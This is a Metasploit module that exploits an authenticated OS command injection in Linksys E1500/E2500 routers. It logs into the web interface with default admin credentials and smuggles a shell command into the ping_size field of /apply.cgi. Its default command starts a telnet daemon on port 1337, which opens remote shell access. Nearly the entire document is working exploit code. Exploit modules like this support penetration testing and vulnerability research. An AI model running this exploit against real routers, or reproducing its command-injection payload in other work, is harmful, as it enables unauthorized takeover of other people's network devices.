Linksys E1500/E2500 Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linksys E1500/E2500 Remote Command Execution',
        'Description' => %q{
          Some Linksys Routers are vulnerable to an authenticated OS command injection.
          Default credentials for the web interface are admin/admin or admin/password. Since
          it is a blind os command injection vulnerability, there is no output for the
          executed command. A ping command against a controlled system for can be used for
          testing purposes.
        },
        'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2018-3953' ],
          [ 'OSVDB', '89912' ],
          [ 'BID', '57760' ],
          [ 'EDB', '24475' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
        ],
        'DisclosureDate' => '2013-02-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
        OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
        OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
      ]
    )
  end

  def run
    uri = '/apply.cgi'
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to login with #{user} / #{pass}")

    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'GET',
        'authorization' => basic_auth(user, pass)
      })

      return if res.nil?
      return if (res.code == 404)

      if [200, 301, 302].include?(res.code)
        print_good("#{Rex::Socket.to_authority(rhost, rport)} - Successful login #{user}/#{pass}")
      else
        print_error("#{Rex::Socket.to_authority(rhost, rport)} - No successful login possible with #{user}/#{pass}")
        return
      end
    rescue ::Rex::ConnectionError
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending remote command: " + datastore['CMD'])

    cmd = datastore['CMD']
    # original post request:
    # data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
    # action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="

    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - using the following target URL: #{uri}")
    begin
      send_request_cgi({
        'uri' => uri,
        'method' => 'POST',
        'authorization' => basic_auth(user, pass),
        'vars_post' => {
          'submit_button' => 'Diagnostics',
          'change_action' => 'gozila_cgi',
          'submit_type' => 'start_ping',
          'action' => '',
          'commit' => '0',
          'ping_ip' => '1.1.1.1',
          'ping_size' => "&#{cmd}&",
          'ping_times' => '5',
          'traceroute_ip' => ''
        }
      })
    rescue ::Rex::ConnectionError
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Blind Exploitation - unknown Exploitation state")
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Blind Exploitation - wait around 10 seconds till the command gets executed")
  end
end